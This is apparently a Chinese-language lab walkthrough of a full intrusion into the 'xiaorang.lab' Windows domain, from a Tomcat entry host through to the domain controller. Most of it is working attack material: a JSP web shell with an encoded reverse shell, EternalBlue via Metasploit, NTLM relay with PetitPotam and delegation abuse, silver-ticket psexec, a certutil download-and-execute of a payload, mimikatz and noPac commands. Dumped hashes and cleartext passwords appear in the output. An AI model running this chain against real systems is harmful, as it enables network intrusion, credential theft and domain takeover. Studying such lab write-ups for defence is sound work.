入口机

fscan/kscan

ssh://39.99.141.133:22         ssh                        Info:UbuntuLinux;protocol2,Digest:"SSH-2.0-OpenSSH_8.2p1U,Port:22,ProductName:OpenSSH,Version:8.2p1Ubuntu4ubuntu0.5,OperatingSystem:Linux,Length:41
dns://39.99.141.133:53         dns                        Port:53,Digest:"DnsServer",Length:9
ajp13://39.99.141.133:8009     ajp13                      ProductName:ApacheJserv,Info:Protocolv1.3,Length:5,Version:i,Port:8009,Digest:"AB\x00\x01\t"
http://39.99.141.133:8080      后台管理                   FingerPrint:后台;Layui;Frame;HTML5,Digest:feff后台管理更换主体头部导航菜单切换天气信息,Length:7290,Port:8080,FoundDomain:www.cssmoban.com、www.chazidian.com

dirsearch

[10:15:53] 200 -   17KB - /docs/
[10:15:53] 404 -  733B  - /docs/maintenance.txt
[10:15:53] 404 -  730B  - /docs/swagger.json
[10:15:53] 404 -  733B  - /docs/export-demo.xml
[10:15:53] 404 -  737B  - /docs/html/index.html
[10:15:53] 404 -  730B  - /docs/updating.txt
[10:15:54] 302 -    0B  - /download  ->  /download/
[10:15:54] 200 -  132B  - /download/
[10:15:54] 404 -  781B  - /examples/jsp/%252e%252e/%252e%252e/manager/html/
[10:15:54] 302 -    0B  - /examples  ->  /examples/
[10:15:54] 200 -   14KB - /examples/jsp/index.html
[10:15:54] 404 -  746B  - /examples/servlet/SnoopServlet
[10:15:54] 200 -    1KB - /examples/
[10:15:54] 200 -    6KB - /examples/servlets/index.html
[10:15:54] 200 -    1KB - /examples/servlets/servlet/RequestHeaderExample
[10:15:54] 200 -  658B  - /examples/servlets/servlet/CookieExample
[10:15:54] 200 -    1KB - /examples/websocket/index.xhtml
[10:15:55] 200 -  685B  - /examples/jsp/snp/snoop.jsp

在一些路由随便访问能够拿到 tomcat 的版本:Tomcat Version 9.0.30幽灵猫:

python tomcat.py read_file --webapp=root /WEB-INF/web.xml 39.99.141.133

然后看到有个 /UploadServlet 路由,发现可以直接上传文件并返回路径,那么思路也就很明确了:上传并包含 RCE。

上传 exp.jsp:

<%
   // /upload/93f1c181b1a7a2e62af32df48e86470e/20231113112035407.jsp
   java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,CODE}|{base64,-d}|{bash,-i}").getInputStream();
   int a = -1;
   byte[] b = new byte[2048];
   out.print("<pre>");
   while((a=in.read(b))!=-1){
         out.println(new String(b));
   }
   out.print("</pre>");
%>

文件包含写入公钥

python tomcat.py read_file --webapp=root /upload/93f1c181b1a7a2e62af32df48e86470e/20231114122823471.jsp 39.98.109.252

然后直接登录拿到第一个 flag:

然后上个 viper 马:

nohup ./viper_linux_x64_revser_tcp.elf &

内网渗透

入口机信息收集

fscan/kscan

(icmp) Target 172.22.11.6     is alive
(icmp) Target 172.22.11.76    is alive
(icmp) Target 172.22.11.26    is alive
(icmp) Target 172.22.11.45    is alive
[*] Icmp alive hosts len is: 4
172.22.11.26:445 open
172.22.11.45:445 open
172.22.11.6:445 open
172.22.11.45:139 open
172.22.11.26:139 open
172.22.11.6:139 open
172.22.11.45:135 open
172.22.11.26:135 open
172.22.11.6:135 open
172.22.11.6:88 open
172.22.11.76:22 open
172.22.11.76:8080 open
172.22.11.76:8009 open
[*] alive ports len is: 13
start vulscan
[*] NetInfo:
[*] 172.22.11.6
   [->]XIAORANG-DC
   [->]172.22.11.6
[*] NetInfo:
[*]172.22.11.26
   [->]XR-LCM3AE8B
   [->]172.22.11.26
[*] NetBios: 172.22.11.26    XIAORANG\XR-LCM3AE8B           
[*] NetBios: 172.22.11.45    XR-DESKTOP.xiaorang.lab             Windows Server 2008 R2 Enterprise 7601 Service Pack 1 
[+] 172.22.11.45        MS17-010        (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios: 172.22.11.6     [+]DC XIAORANG\XIAORANG-DC     
[*] WebTitle: http://172.22.11.76:8080  code:200 len:7091   title:后台管理

netbios-ns://172.22.11.6:137   netbios-ns                 Port:137,Info:maincontroller:XIAORAN,Length:193,Digest:CKAAAAAAAAAAAAAAAAAAAAA,OperatingSystem:Windows,Hostname:XIAORANG-DC,ProductName:icrosoftWindowsnetbios
netbios://172.22.11.6:139      netbios                    Length:5,Port:139,Digest:"\x83\x00\x00\x01\x8f",ProductName:crosoftWindowsnetbios-,OperatingSystem:Windows
ldap://172.22.11.6:389         ldap                       Length:3011,Hostname:XIAORANG-DC,ProductName:tWindowsActiveDirecto,Info:ite:Default-First-Site-,Port:389,Digest:"0d00domainFunctionality,OperatingSystem:Windows
rdp://172.22.11.6:3389         rdp                        Digest:3\x00\x00\x13\x0e\xd0\x0,Length:19,OperatingSystem:Windows,Port:3389,ProductName:icrosoftTerminalServic
smb://172.22.11.6:445          smb                        Port:445,Digest:SMB@AB\"!HL7gd/+x`v+l0j<,Length:298
netbios-ns://172.22.11.26:137  netbios-ns                 Digest:"CKAAAAAAAAAAAAAAAAAAAA,Info:workgroup:XIAORANG,ProductName:crosoftWindowsnetbios-,Hostname:XR-LCM3AE8B,Port:137,OperatingSystem:Windows,Length:157
netbios://172.22.11.26:139     netbios                    ProductName:rosoftWindowsnetbios-s,Digest:"\x83\x00\x00\x01\x8f",Length:5,Port:139,OperatingSystem:Windows
rdp://172.22.11.26:3389        rdp                        OperatingSystem:Windows,Port:3389,Digest:\x03\x00\x00\x13\x0e\xd0,ProductName:icrosoftTerminalServic,Length:19
netbios-ns://172.22.11.45:137  netbios-ns                 ProductName:icrosoftWindowsnetbios,Hostname:XR-DESKTOP,Digest:"CKAAAAAAAAAAAAAAAAAAAA,OperatingSystem:Windows,Port:137,Info:workgroup:XIAORANG,Length:157
netbios://172.22.11.45:139     netbios                    ProductName:rosoftWindowsnetbios-s,OperatingSystem:Windows,Digest:"\x83\x00\x00\x01\x8f",Length:5,Port:139
rdp://172.22.11.45:3389        rdp                        Port:3389,ProductName:icrosoftTerminalServic,Digest:\v\x06\xd0\x00\x00\x124\,Length:11,OperatingSystem:Windows
spark://172.22.11.6:88         spark                      Digest:"\x00\x00\x00\x00",Length:4,ProductName:ApacheSpark,Port:88
smb://172.22.11.26:445         smb                        Port:445,Digest:"RSMB@Aj]KF0/J!`+~0z<0:+,Length:598
ssh://172.22.11.76:22          ssh                        Length:41,Version:8.2p1Ubuntu4ubuntu0.5,Info:UbuntuLinux;protocol2,Port:22,OperatingSystem:Linux,Digest:SSH-2.0-OpenSSH_8.2p1Ub,ProductName:OpenSSH
smb://172.22.11.45:445         smb                        Digest:"SMB@AP61LI'f-r]x`v+l0j,Length:252,Port:445
ajp13://172.22.11.76:8009      ajp13                      Length:5,ProductName:ApacheJserv,Digest:"AB\x00\x01\t",Version:i,Info:Protocolv1.3,Port:8009
http://172.22.11.76:8080       后台管理                   Length:7290,FoundDomain:www.cssmoban.com、www.chazidian.com,FingerPrint:后台;Layui;Frame;HTML5,Port:8080,Digest:ff后台管理更换主体头部导航菜单切换天气信息搜索
[+]2023/11/09 19:58:55 所有扫描任务已下发完毕
[+]2023/11/09 19:58:58 程序执行总时长为:[22.140166937s]
[+]2023/11/09 19:58:58 若有问题欢迎来我的Github提交Bug[https://github.com/lcvvvv/kscan/]

得到信息总结:

  • 172.22.11.6:域控 DC XIAORANG\XIAORANG-DC
  • 172.22.11.76:入口机
  • 172.22.11.45:内网机 XR-DESKTOP.xiaorang.lab
  • 172.22.11.26:内网机 XIAORANG\XR-LCM3AE8B

45 (XR-DESKTOP)

前面信息收集可以看到是 ms17-010,直接用 msf:

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.11.45
exploit

需要注意的是如果直接 viper msf 里的 route 功能似乎连不到 bind 端口,所以需要配置一个代理然后用 proxychains 连接,然后 viper 的坑就来了,viper 的代理似乎挺容易炸的不知道为啥,所以憋得只能再上了一个 vshell 的马来开代理 XD

然后 viper 使用 windows/meterpreter_reverse_tcp 利用入口机的 session 生成一个监听,上传载荷上线,具体多级代理上线可以看 viper 的文档

26 (XR-LCM3AE8B)

ps 然后迁移到 64 位进程,方便加载 kiwi:

meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username     Domain    NTLM                              SHA1
--------     ------    ----                              ----
XR-DESKTOP$  XIAORANG  c741dc7c8950a2864de8ce65e740fba4  baa9ac037870d34483cda5b623e2bfbbdc471e65
yangmei      XIAORANG  25e42ef4cc0ab6a8ff9e3edbbda91841  6b2838f81b57faed5d860adaf9401b0edb269a6f

wdigest credentials
===================

Username     Domain    Password
--------     ------    --------
(null)       (null)    (null)
XR-DESKTOP$  XIAORANG  xx
yangmei      XIAORANG  xrihGHgoNZQ

kerberos credentials
====================

Username     Domain        Password
--------     ------        --------
(null)       (null)        (null)
xr-desktop$  XIAORANG.LAB  xx
xr-desktop$  XIAORANG.LAB  (null)
yangmei      XIAORANG.LAB  xrihGHgoNZQ

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:48f6da83eb89a4da8a1cc963b855a799:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

然后传份 SharpHound 上去跑一下:

SharpHound.exe -c all

看了看 BloodHound 没啥东西,试了试哈希传递都不行然后后面不会了,溜去看别的 Walkthrough 了嘻嘻。

下面是打一个 NTLM Relay via WebDAV 。

NTLM Relay 大体是什么意思呢,其实就是域中的中间人攻击,通过一些方法触发客户端进行认证,将 Net-NTLM Hash 传给我们,我们再带着这个信息去访问 DC,从而实现 Relay。而 NTLM 只是一个底层的认证协议,需要上层协议的支持,比如 smb 也能作为其上层协议,这里是对于 WebDAV(HTTP) 协议进行攻击。需要注意的是不同的协议,其需要的签名状态不同,比如:

  • relay 到 smb 服务要求被攻击机器不能开启 SMB 签名,普通域内机器默认不是开启的,但是域控是默认开启的。
  • relay 到 ldap 也要求被攻击机器不开启 ldap 签名,而默认情况下是协商签名,即如果客户端是smb协议的话,则默认要求签名,如果是 webadv 或 http 协议,是不要求签名的。

检测内网启动了 WebClient 服务的机器:

python cme smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M Webdav

以及 check PetitPotam 是否能够进行强制触发,这里有对于强制触发的总结

python cme smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M PetitPotam

然后需要准备好 relay 接收的攻击机,这里有多种方案,一个是直接在入口机上用 impacket 的 ntlmrelayx.py 起一个服务,但是这样显得不太优雅;一个是利用 viper 自带的端口反向转发功能,直接转发到自己的服务器的端口上,但是这个服务器的内存有点紧张,跑个 viper,vshell 就有点受不了了hh;所以还是用其他 Walkthrough 中提到的方法:转发到本地端口。

这里有个端口转发的总结

这里使用 ssh 进行转发,但有一个问题是 ssh 反向端口转发只会监听 127.0.0.1 的请求,所以说需要进行一个绕过:首先需要转发入口机的 80 端口到本地,然后再套一层 socat 进行转发:

ssh -i hack root@39.99.240.41 -R \*:79:127.0.0.1:80
nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:localhost:79 &
ss -lnpt
exit

当然,如果有公网 ip,那直接用 socat 就行了:

socat TCP-LISTEN:80,fork,reuseaddr TCP:xxx:80

测试:

利用 -delegate-access 选项基于资源的约束委派攻击。同时利用 PetitPotam 触发目标访问我们的 http 中继服务,从而获取其 Net-NTLMv2 Hash,再将其通过 ldap 传递到 dc 的 ldap 服务。

通过 ldap 修改 XR-LCM3AE8B 其自身的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性配置基于资源的约束委派,使得 xr-desktop$ 能够模拟任意用户访问该服务。

proxychains python3 examples/ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access
 
proxychains python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/evil.cnf 172.22.11.26

伪造银票:

python getST.py xiaorang.lab/'XR-DESKTOP$' -hashes ':c741dc7c8950a2864de8ce65e740fba4' -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate Administrator -dc-ip 172.22.11.6

银票登录:

export KRB5CCNAME=./Administrator.ccache;proxychains python psexec.py xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -dc-ip 172.22.11.6 -codec gbk

把 viper 马丢到入口机上起一个 python3 -m http.server 8081 文件传输并执行

certutil -urlcache -split -f http://172.22.11.76:8081/re.exe test.exe
test.exe

上线成功:

6 (DC)

传个 mimikatz 上去:

certutil -urlcache -split -f http://172.22.11.76:8081/mimikatz.exe mimikatz.exe
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > pass.txt

看 tag 还剩一个 noPac 没用 hh,这个漏洞最本质的地方在于 Microsoft Windows Kerberos KDC 无法正确检查 Kerberos 票证请求随附的特权属性证书(PAC)中的有效签名,这里面的签名就是上面提到的服务检验和以及KDC校验和。导致用户可以自己构造一张 PAC。

python noPac.py xiaorang.lab/zhanghui -hashes ':1232126b24cdf8c9bd2f788a9d7c7ed1' -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell

发现好像 noPac 的依赖版本 impacket 有点问题会报错,但是前面已经能拿到 Administrator 的 ccache 了,所以可以自己使用 ccache 登录:

export KRB5CCNAME=./Administrator_xiaorang-dc.xiaorang.lab.ccache;proxychains python psexec.py xiaorang.lab/administrator@xiaorang-dc.xiaorang.lab -k -no-pass -dc-ip 172.22.11.6 -target-ip 172.22.11.6 -codec gbk

但这里有一点不太懂,就是为啥 MAQ=0 但这个 zhanghui 仍然能够创建机器账户。

一样上马:

最后的渗透拓扑图: